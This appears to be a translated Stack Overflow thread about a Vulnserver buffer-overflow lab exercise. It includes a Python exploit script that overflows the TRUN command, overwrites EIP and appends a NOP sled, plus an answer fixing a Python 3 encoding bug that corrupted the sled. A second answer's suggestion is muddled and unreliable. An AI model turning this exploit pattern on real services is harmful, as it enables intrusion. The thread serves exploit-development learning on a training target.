【问题标题】:Vulnserver - Buffer overflow NOP characters aren't being passed in properlyVulnserver - 缓冲区溢出 NOP 字符未正确传递
【发布时间】:2016-02-17 07:14:10
【问题描述】:

我目前正在vulnserver 应用程序上进行缓冲区溢出测试。用十六进制值 A 溢出缓冲区似乎可以毫无问题地传递到程序中。 EIP 也被无问题地覆盖。但是,当我开始 NOP 雪橇时,在每个 NOP 值之后传入一个 C2 十六进制值。不知道为什么会这样。我有十六进制转储来告诉你我的意思:

这是我用来创建溢出的 python 脚本:

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("127.0.0.1",9999))
buff = '\x41' * 2006
shellcode = ...
nop = '\x90' * 16

#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
overflow = 'TRUN .' + buff + '\x05\x12\x50\x62' + nop
s.send(overflow.encode())

我想知道错误是在 python 编码/发送数据包时发生,还是仅仅由于 vulnserver 的编写方式而发生。

【问题讨论】:

    标签: python security buffer-overflow exploit


    【解决方案1】:

    您的问题是由于您使用的是 Python 3。

    .encode() 方法是问题的根本原因。

    试试这个:

    import socket
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    s.connect(("127.0.0.1",9999))
    buff = b'\x41' * 2006
    shellcode = b'...'
    nop = b'\x90' * 16
    
    #shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
    overflow = b'TRUN .' + buff + b'\x05\x12\x50\x62' + nop
    s.send(overflow)
    

    【讨论】:

      【解决方案2】:

      \xC2-\x90=\x32。您是否尝试将您的 nop 雪橇发送为 \x5E\x90\x5E\x90\x5E\x90 ?

      【讨论】:

        猜你喜欢
        • 2022-11-30
        • 2013-04-12
        • 1970-01-01
        • 2013-10-22
        • 1970-01-01
        • 2016-01-15
        • 1970-01-01
        • 2015-12-16
        • 1970-01-01
        相关资源
        最近更新 更多